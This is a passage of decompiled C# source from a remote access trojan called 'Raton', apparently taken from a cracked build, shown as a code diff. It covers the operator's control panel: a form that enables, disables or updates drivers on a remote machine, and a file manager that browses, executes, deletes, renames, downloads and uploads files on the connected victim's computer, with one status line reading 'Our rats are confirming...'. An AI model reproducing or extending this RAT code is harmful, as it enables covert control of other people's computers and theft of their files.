if (this.treeDevices.SelectedNode == null || this.treeDevices.SelectedNode.Tag == null)
|
||||
{
|
||||
int num = (int) Messenger.MessageBox("Please select a device", "Error", icon: MessageBoxIcon.Exclamation);
|
||||
}
|
||||
else
|
||||
{
|
||||
string str = this.treeDevices.SelectedNode.Tag.ToString().Split('^')[0];
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "DeviceRequest");
|
||||
pack.SetString("Action", action);
|
||||
pack.SetString("DeviceId", str);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void TreeDevices_AfterSelect(object sender, TreeViewEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
private void enableDeviceToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.SendDeviceAction("EnableDevice");
|
||||
}
|
||||
|
||||
private void disableDeviceToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.SendDeviceAction("DisableDevice");
|
||||
}
|
||||
|
||||
private void updateControllerToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
this.SendDeviceAction("UpdateDriver");
|
||||
}
|
||||
|
||||
private void refreshToolStripMenuItem_Click(object sender, EventArgs e) => this.RequestRefresh();
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonDevice));
|
||||
this.treeView1 = new TreeView();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.enableDeviceToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.disableDeviceToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.updateControllerToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.refreshToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.timer1 = new Timer(this.components);
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.treeView1.BorderStyle = BorderStyle.None;
|
||||
this.treeView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.treeView1.Dock = DockStyle.Fill;
|
||||
this.treeView1.Font = new Font("Microsoft JhengHei", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.treeView1.Location = new Point(0, 0);
|
||||
this.treeView1.Name = "treeView1";
|
||||
this.treeView1.Size = new Size(738, 521);
|
||||
this.treeView1.TabIndex = 0;
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[4]
|
||||
{
|
||||
(ToolStripItem) this.enableDeviceToolStripMenuItem,
|
||||
(ToolStripItem) this.disableDeviceToolStripMenuItem,
|
||||
(ToolStripItem) this.updateControllerToolStripMenuItem,
|
||||
(ToolStripItem) this.refreshToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(181, 114);
|
||||
this.enableDeviceToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.enableDeviceToolStripMenuItem.Image = (Image) Resources.RowUpdating_16x;
|
||||
this.enableDeviceToolStripMenuItem.Name = "enableDeviceToolStripMenuItem";
|
||||
this.enableDeviceToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.enableDeviceToolStripMenuItem.Text = "Enable device";
|
||||
this.enableDeviceToolStripMenuItem.Click += new EventHandler(this.enableDeviceToolStripMenuItem_Click);
|
||||
this.disableDeviceToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.disableDeviceToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.disableDeviceToolStripMenuItem.Name = "disableDeviceToolStripMenuItem";
|
||||
this.disableDeviceToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.disableDeviceToolStripMenuItem.Text = "Disable device";
|
||||
this.disableDeviceToolStripMenuItem.Click += new EventHandler(this.disableDeviceToolStripMenuItem_Click);
|
||||
this.updateControllerToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.updateControllerToolStripMenuItem.Image = (Image) Resources.UpdateLinkedTable_16x;
|
||||
this.updateControllerToolStripMenuItem.Name = "updateControllerToolStripMenuItem";
|
||||
this.updateControllerToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.updateControllerToolStripMenuItem.Text = "Update controller";
|
||||
this.updateControllerToolStripMenuItem.Click += new EventHandler(this.updateControllerToolStripMenuItem_Click);
|
||||
this.refreshToolStripMenuItem.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
|
||||
this.refreshToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.refreshToolStripMenuItem.Name = "refreshToolStripMenuItem";
|
||||
this.refreshToolStripMenuItem.Size = new Size(180, 22);
|
||||
this.refreshToolStripMenuItem.Text = "Refresh";
|
||||
this.refreshToolStripMenuItem.Click += new EventHandler(this.refreshToolStripMenuItem_Click);
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(738, 521);
|
||||
this.Controls.Add((Control) this.treeView1);
|
||||
this.FormBorderStyle = FormBorderStyle.FixedSingle;
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (ratonDevice);
|
||||
this.StartPosition = FormStartPosition.CenterScreen;
|
||||
this.Text = nameof (ratonDevice);
|
||||
this.Load += new EventHandler(this.ratonDevice_Load);
|
||||
this.contextMenuStrip1.ResumeLayout(false);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,615 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Raton.Forms.ClientForms.Monitor.ratonFIleManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Classes;
|
||||
using Raton.Forms.ClientForms.Dialogs;
|
||||
using Raton.Forms.ClientForms.Misc;
|
||||
using Raton.Properties;
|
||||
using RatonAccessTool.Controls;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Raton.Forms.ClientForms.Monitor;
|
||||
|
||||
public class ratonFIleManager : Form
|
||||
{
|
||||
private IContainer components;
|
||||
public TextBox textBox1;
|
||||
public AeroListView aeroListView1;
|
||||
private ColumnHeader columnHeader1;
|
||||
private ColumnHeader columnHeader2;
|
||||
private ColumnHeader columnHeader3;
|
||||
private ColumnHeader columnHeader4;
|
||||
public ImageList imageList1;
|
||||
private ContextMenuStrip contextMenuStrip1;
|
||||
private RgbBuildButton button1;
|
||||
private RgbBuildButton button2;
|
||||
private ToolStripMenuItem openFileToolStripMenuItem;
|
||||
private ToolStripMenuItem renameToolStripMenuItem;
|
||||
private ToolStripMenuItem deleteToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator1;
|
||||
private ToolStripMenuItem downloadToolStripMenuItem;
|
||||
private ToolStripMenuItem uploadToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator2;
|
||||
private ToolStripMenuItem newFolderToolStripMenuItem;
|
||||
private ToolStripSeparator toolStripSeparator3;
|
||||
private ToolStripMenuItem goBackToolStripMenuItem;
|
||||
private ToolStripMenuItem reloadToolStripMenuItem;
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
public AeroListView aeroListView2;
|
||||
private ColumnHeader columnHeader5;
|
||||
public ImageList imageList2;
|
||||
public AeroListView aeroListView3;
|
||||
private ColumnHeader columnHeader6;
|
||||
private Label label1;
|
||||
|
||||
public SillyClient SillyClient { get; set; }
|
||||
|
||||
public ratonFIleManager()
|
||||
{
|
||||
this.InitializeComponent();
|
||||
DarkMode.Start((Form) this);
|
||||
}
|
||||
|
||||
public void Goto(string path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", nameof (Goto));
|
||||
pack.SetString("Path", path);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.aeroListView1.Enabled = false;
|
||||
this.aeroListView1.Visible = false;
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.SillyClient != null && this.SillyClient.isConnected())
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.textBox1.Text;
|
||||
if (text.Length < 3)
|
||||
return;
|
||||
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
||||
{
|
||||
'\\'
|
||||
}, text.LastIndexOf('\\')));
|
||||
if (!path.Contains("\\"))
|
||||
path += "\\";
|
||||
this.Goto(path);
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e) => this.Goto(this.textBox1.Text);
|
||||
|
||||
private void goBackToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.textBox1.Text;
|
||||
if (text.Length < 3)
|
||||
return;
|
||||
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
||||
{
|
||||
'\\'
|
||||
}, text.LastIndexOf('\\')));
|
||||
if (!path.Contains("\\"))
|
||||
path += "\\";
|
||||
this.Goto(path);
|
||||
}
|
||||
|
||||
private void reloadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
string text = this.textBox1.Text;
|
||||
if (text.Length < 3)
|
||||
return;
|
||||
string path = text.Remove(text.LastIndexOfAny(new char[1]
|
||||
{
|
||||
'\\'
|
||||
}, text.LastIndexOf('\\')));
|
||||
if (!path.Contains("\\"))
|
||||
path += "\\";
|
||||
this.Goto(path);
|
||||
}
|
||||
|
||||
private void ratonFIleManager_Load(object sender, EventArgs e) => this.timer1.Start();
|
||||
|
||||
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Delete");
|
||||
pack.SetBool("Folder", selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder");
|
||||
pack.SetString("Target", (string) selectedItem.Tag);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
}
|
||||
|
||||
private void renameToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
inputDialog inputDialog = new inputDialog();
|
||||
inputDialog.Text = "Rename";
|
||||
inputDialog.label1.Text = "Please enter the new name of the file and the extension too";
|
||||
inputDialog.textBox1.Text = $"File_{Helpers.Random(5)}.extension";
|
||||
if (inputDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
string text = inputDialog.textBox1.Text;
|
||||
if (string.IsNullOrEmpty(text))
|
||||
return;
|
||||
if (this.aeroListView1.SelectedItems.Count > 1)
|
||||
{
|
||||
int num = 1;
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Rename");
|
||||
pack.SetBool("Folder", selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder");
|
||||
pack.SetString("Old", (string) selectedItem.Tag);
|
||||
pack.SetString("New", Path.Combine(this.textBox1.Text, $"{text}_{num++.ToString()}"));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Rename");
|
||||
pack.SetBool("Folder", this.aeroListView1.SelectedItems[0].SubItems[this.columnHeader3.Index].Text == "Folder");
|
||||
pack.SetString("Old", (string) this.aeroListView1.SelectedItems[0].Tag);
|
||||
pack.SetString("New", Path.Combine(this.textBox1.Text, text));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
}
|
||||
|
||||
private void openFileToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Open");
|
||||
pack.SetString("Target", (string) selectedItem.Tag);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
|
||||
private void newFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
inputDialog inputDialog = new inputDialog();
|
||||
inputDialog.Text = "New folder";
|
||||
inputDialog.label1.Text = "Please enter the name of the folder";
|
||||
inputDialog.textBox1.Text = "Folder_" + Helpers.Random(3);
|
||||
if (inputDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
string text = inputDialog.textBox1.Text;
|
||||
if (string.IsNullOrEmpty(text))
|
||||
return;
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "NewFolder");
|
||||
pack.SetString("Target", Path.Combine(this.textBox1.Text, text));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
|
||||
private void aeroListView1_MouseDoubleClick(object sender, MouseEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.aeroListView1.SelectedItems[0].SubItems[this.columnHeader3.Index].Text == "Folder")
|
||||
{
|
||||
this.Goto((string) this.aeroListView1.SelectedItems[0].Tag);
|
||||
}
|
||||
else
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Manager");
|
||||
pack.SetString("Action", "Open");
|
||||
pack.SetString("Target", (string) selectedItem.Tag);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void downloadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
foreach (ListViewItem selectedItem in this.aeroListView1.SelectedItems)
|
||||
{
|
||||
if (!(selectedItem.SubItems[this.columnHeader3.Index].Text == "Folder"))
|
||||
{
|
||||
string str1 = Helpers.Random();
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Download");
|
||||
pack.SetString("File", (string) selectedItem.Tag);
|
||||
pack.SetString("DUID", str1);
|
||||
string str2 = "File ID: ";
|
||||
if ((ratonFIle) Application.OpenForms[str2 + str1] == null)
|
||||
{
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = str2 + str1;
|
||||
ratonFile.Text = str2 + str1;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.Show();
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void uploadToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
||||
openFileDialog.Multiselect = true;
|
||||
openFileDialog.Filter = "All files (*.*)|*.*";
|
||||
if (openFileDialog.ShowDialog() != DialogResult.OK)
|
||||
return;
|
||||
foreach (string fileName1 in openFileDialog.FileNames)
|
||||
{
|
||||
string file = fileName1;
|
||||
string fileName = Path.GetFileName(file);
|
||||
string Duid = Helpers.Random();
|
||||
long fileSize = new FileInfo(file).Length;
|
||||
ratonFIle fileForm = (ratonFIle) Application.OpenForms["File ID: " + Duid];
|
||||
if (fileForm == null)
|
||||
{
|
||||
ratonFIle ratonFile = new ratonFIle();
|
||||
ratonFile.Name = "File ID: " + Duid;
|
||||
ratonFile.Text = "File ID: " + Duid;
|
||||
ratonFile.SillyClient = this.SillyClient;
|
||||
ratonFile.UID = this.SillyClient.uid;
|
||||
ratonFile.FileName = Path.GetFileName(file);
|
||||
ratonFile.FileSize = fileSize;
|
||||
fileForm = ratonFile;
|
||||
fileForm.Show();
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
if (fileSize > 0L)
|
||||
{
|
||||
int num1 = 1;
|
||||
if (fileSize < 1048576L /*0x100000*/)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(fileName + Duid + num1.ToString())));
|
||||
pack.Set("FileBytes", File.ReadAllBytes(file));
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += fileSize;
|
||||
}
|
||||
else
|
||||
{
|
||||
long length = fileSize;
|
||||
byte[] buffer = new byte[1048576 /*0x100000*/];
|
||||
using (Stream stream = (Stream) File.OpenRead(file))
|
||||
{
|
||||
int num2;
|
||||
while ((num2 = stream.Read(buffer, 0, buffer.Length)) > 0)
|
||||
{
|
||||
if (this.SillyClient.isConnected())
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Upload");
|
||||
pack.SetBool("isCompleted", false);
|
||||
pack.SetString("TempName", Helpers.MD5_STRING(Encoding.UTF8.GetBytes(Path.GetFileName(file) + Duid + num1++.ToString())));
|
||||
pack.Set("FileBytes", buffer);
|
||||
this.SillyClient.Send(pack.Pacc());
|
||||
fileForm.TotalFileSize += (long) buffer.Length;
|
||||
length -= (long) num2;
|
||||
if (length < 1048576L /*0x100000*/)
|
||||
buffer = new byte[length];
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
Pack pack1 = new Pack();
|
||||
pack1.SetString("Packet", "Upload");
|
||||
pack1.SetString("DUID", Duid);
|
||||
pack1.SetBool("isCompleted", true);
|
||||
pack1.SetString("FileName", fileName);
|
||||
pack1.SetLong("FileSize", new FileInfo(file).Length);
|
||||
pack1.SetString("FilePath", this.textBox1.Text);
|
||||
pack1.SetInt("TempCount", num1);
|
||||
this.SillyClient.Send(pack1.Pacc());
|
||||
}
|
||||
Thread.Sleep(800);
|
||||
this.Invoke((Delegate) (() => fileForm.flatProgressBar1.Value = 100));
|
||||
fileForm.timer2.Stop();
|
||||
fileForm.Status("Our rats are confirming...");
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void aeroListView2_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.aeroListView2.SelectedItems.Count == 0)
|
||||
return;
|
||||
this.Goto(this.aeroListView2.SelectedItems[0].Text);
|
||||
}
|
||||
|
||||
private void aeroListView3_SelectedIndexChanged(object sender, EventArgs e)
|
||||
{
|
||||
if (this.aeroListView3.SelectedItems.Count == 0)
|
||||
return;
|
||||
this.textBox1.Text = this.aeroListView3.SelectedItems[0].Tag.ToString();
|
||||
this.Goto(this.textBox1.Text);
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter1 = new AeroListView.ListViewColumnSorter();
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter2 = new AeroListView.ListViewColumnSorter();
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonFIleManager));
|
||||
AeroListView.ListViewColumnSorter viewColumnSorter3 = new AeroListView.ListViewColumnSorter();
|
||||
this.textBox1 = new TextBox();
|
||||
this.aeroListView1 = new AeroListView();
|
||||
this.columnHeader1 = new ColumnHeader();
|
||||
this.columnHeader2 = new ColumnHeader();
|
||||
this.columnHeader3 = new ColumnHeader();
|
||||
this.columnHeader4 = new ColumnHeader();
|
||||
this.contextMenuStrip1 = new ContextMenuStrip(this.components);
|
||||
this.openFileToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.renameToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.deleteToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator1 = new ToolStripSeparator();
|
||||
this.downloadToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.uploadToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator2 = new ToolStripSeparator();
|
||||
this.newFolderToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.toolStripSeparator3 = new ToolStripSeparator();
|
||||
this.goBackToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.reloadToolStripMenuItem = new ToolStripMenuItem();
|
||||
this.imageList1 = new ImageList(this.components);
|
||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.button1 = new RgbBuildButton();
|
||||
this.button2 = new RgbBuildButton();
|
||||
this.aeroListView2 = new AeroListView();
|
||||
this.columnHeader5 = new ColumnHeader();
|
||||
this.imageList2 = new ImageList(this.components);
|
||||
this.aeroListView3 = new AeroListView();
|
||||
this.columnHeader6 = new ColumnHeader();
|
||||
this.label1 = new Label();
|
||||
this.contextMenuStrip1.SuspendLayout();
|
||||
this.SuspendLayout();
|
||||
this.textBox1.Location = new Point(14, 10);
|
||||
this.textBox1.Name = "textBox1";
|
||||
this.textBox1.ReadOnly = true;
|
||||
this.textBox1.Size = new Size(951, 22);
|
||||
this.textBox1.TabIndex = 2;
|
||||
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
|
||||
this.aeroListView1.Columns.AddRange(new ColumnHeader[4]
|
||||
{
|
||||
this.columnHeader1,
|
||||
this.columnHeader2,
|
||||
this.columnHeader3,
|
||||
this.columnHeader4
|
||||
});
|
||||
this.aeroListView1.ContextMenuStrip = this.contextMenuStrip1;
|
||||
this.aeroListView1.FullRowSelect = true;
|
||||
this.aeroListView1.HideSelection = false;
|
||||
this.aeroListView1.Location = new Point(362, 40);
|
||||
viewColumnSorter1.Order = SortOrder.None;
|
||||
viewColumnSorter1.SortColumn = 0;
|
||||
this.aeroListView1.LvwColumnSorter = viewColumnSorter1;
|
||||
this.aeroListView1.Name = "aeroListView1";
|
||||
this.aeroListView1.Size = new Size(804, 545);
|
||||
this.aeroListView1.SmallImageList = this.imageList1;
|
||||
this.aeroListView1.TabIndex = 0;
|
||||
this.aeroListView1.UseCompatibleStateImageBehavior = false;
|
||||
this.aeroListView1.View = View.Details;
|
||||
this.aeroListView1.MouseDoubleClick += new MouseEventHandler(this.aeroListView1_MouseDoubleClick);
|
||||
this.columnHeader1.Text = "Name";
|
||||
this.columnHeader1.Width = 243;
|
||||
this.columnHeader2.Text = "Date";
|
||||
this.columnHeader2.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader2.Width = 218;
|
||||
this.columnHeader3.Text = "Type";
|
||||
this.columnHeader3.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader3.Width = 171;
|
||||
this.columnHeader4.Text = "Size";
|
||||
this.columnHeader4.TextAlign = HorizontalAlignment.Center;
|
||||
this.columnHeader4.Width = 170;
|
||||
this.contextMenuStrip1.ImageScalingSize = new Size(24, 24);
|
||||
this.contextMenuStrip1.Items.AddRange(new ToolStripItem[11]
|
||||
{
|
||||
(ToolStripItem) this.openFileToolStripMenuItem,
|
||||
(ToolStripItem) this.renameToolStripMenuItem,
|
||||
(ToolStripItem) this.deleteToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator1,
|
||||
(ToolStripItem) this.downloadToolStripMenuItem,
|
||||
(ToolStripItem) this.uploadToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator2,
|
||||
(ToolStripItem) this.newFolderToolStripMenuItem,
|
||||
(ToolStripItem) this.toolStripSeparator3,
|
||||
(ToolStripItem) this.goBackToolStripMenuItem,
|
||||
(ToolStripItem) this.reloadToolStripMenuItem
|
||||
});
|
||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||
this.contextMenuStrip1.Size = new Size(141, 262);
|
||||
this.openFileToolStripMenuItem.Image = (Image) Resources.Execute_16x;
|
||||
this.openFileToolStripMenuItem.Name = "openFileToolStripMenuItem";
|
||||
this.openFileToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.openFileToolStripMenuItem.Text = "Execute";
|
||||
this.openFileToolStripMenuItem.Click += new EventHandler(this.openFileToolStripMenuItem_Click);
|
||||
this.renameToolStripMenuItem.Image = (Image) Resources.Rename_16x;
|
||||
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
||||
this.renameToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.renameToolStripMenuItem.Text = "Rename";
|
||||
this.renameToolStripMenuItem.Click += new EventHandler(this.renameToolStripMenuItem_Click);
|
||||
this.deleteToolStripMenuItem.Image = (Image) Resources.DeleteAllRows_16x;
|
||||
this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem";
|
||||
this.deleteToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.deleteToolStripMenuItem.Text = "Delete";
|
||||
this.deleteToolStripMenuItem.Click += new EventHandler(this.deleteToolStripMenuItem_Click);
|
||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||
this.toolStripSeparator1.Size = new Size(137, 6);
|
||||
this.downloadToolStripMenuItem.Image = (Image) Resources.ClearCollection_ActionGray_16x;
|
||||
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
||||
this.downloadToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.downloadToolStripMenuItem.Text = "Download";
|
||||
this.downloadToolStripMenuItem.Click += new EventHandler(this.downloadToolStripMenuItem_Click);
|
||||
this.uploadToolStripMenuItem.Image = (Image) Resources.Copy_16x;
|
||||
this.uploadToolStripMenuItem.Name = "uploadToolStripMenuItem";
|
||||
this.uploadToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.uploadToolStripMenuItem.Text = "Upload";
|
||||
this.uploadToolStripMenuItem.Click += new EventHandler(this.uploadToolStripMenuItem_Click);
|
||||
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||
this.toolStripSeparator2.Size = new Size(137, 6);
|
||||
this.newFolderToolStripMenuItem.Image = (Image) Resources.FolderBottomPanel_16x;
|
||||
this.newFolderToolStripMenuItem.Name = "newFolderToolStripMenuItem";
|
||||
this.newFolderToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.newFolderToolStripMenuItem.Text = "New folder";
|
||||
this.newFolderToolStripMenuItem.Click += new EventHandler(this.newFolderToolStripMenuItem_Click);
|
||||
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||
this.toolStripSeparator3.Size = new Size(137, 6);
|
||||
this.goBackToolStripMenuItem.Image = (Image) Resources.Backwards_disabled_16x;
|
||||
this.goBackToolStripMenuItem.Name = "goBackToolStripMenuItem";
|
||||
this.goBackToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.goBackToolStripMenuItem.Text = "Go back";
|
||||
this.goBackToolStripMenuItem.Click += new EventHandler(this.goBackToolStripMenuItem_Click);
|
||||
this.reloadToolStripMenuItem.Image = (Image) Resources.Refresh_greyThin_16x;
|
||||
this.reloadToolStripMenuItem.Name = "reloadToolStripMenuItem";
|
||||
this.reloadToolStripMenuItem.Size = new Size(140, 30);
|
||||
this.reloadToolStripMenuItem.Text = "Reload";
|
||||
this.reloadToolStripMenuItem.Click += new EventHandler(this.reloadToolStripMenuItem_Click);
|
||||
this.imageList1.ColorDepth = ColorDepth.Depth32Bit;
|
||||
this.imageList1.ImageSize = new Size(16 /*0x10*/, 16 /*0x10*/);
|
||||
this.imageList1.TransparentColor = Color.Transparent;
|
||||
this.timer1.Tick += new EventHandler(this.timer1_Tick);
|
||||
this.button1.Cursor = Cursors.Arrow;
|
||||
this.button1.Font = new Font("Segoe UI Semibold", 10.5f);
|
||||
this.button1.ForeColor = Color.White;
|
||||
this.button1.Icon = (Image) Resources.ic_fluent_arrow_reset_24_filled;
|
||||
this.button1.IconSize = 16 /*0x10*/;
|
||||
this.button1.IconSpacing = 3;
|
||||
this.button1.Location = new Point(1074, 3);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new Size(92, 31 /*0x1F*/);
|
||||
this.button1.TabIndex = 4;
|
||||
this.button1.Text = "Reload";
|
||||
this.button1.Click += new EventHandler(this.button1_Click);
|
||||
this.button2.Cursor = Cursors.Arrow;
|
||||
this.button2.Font = new Font("Segoe UI Semibold", 10.5f);
|
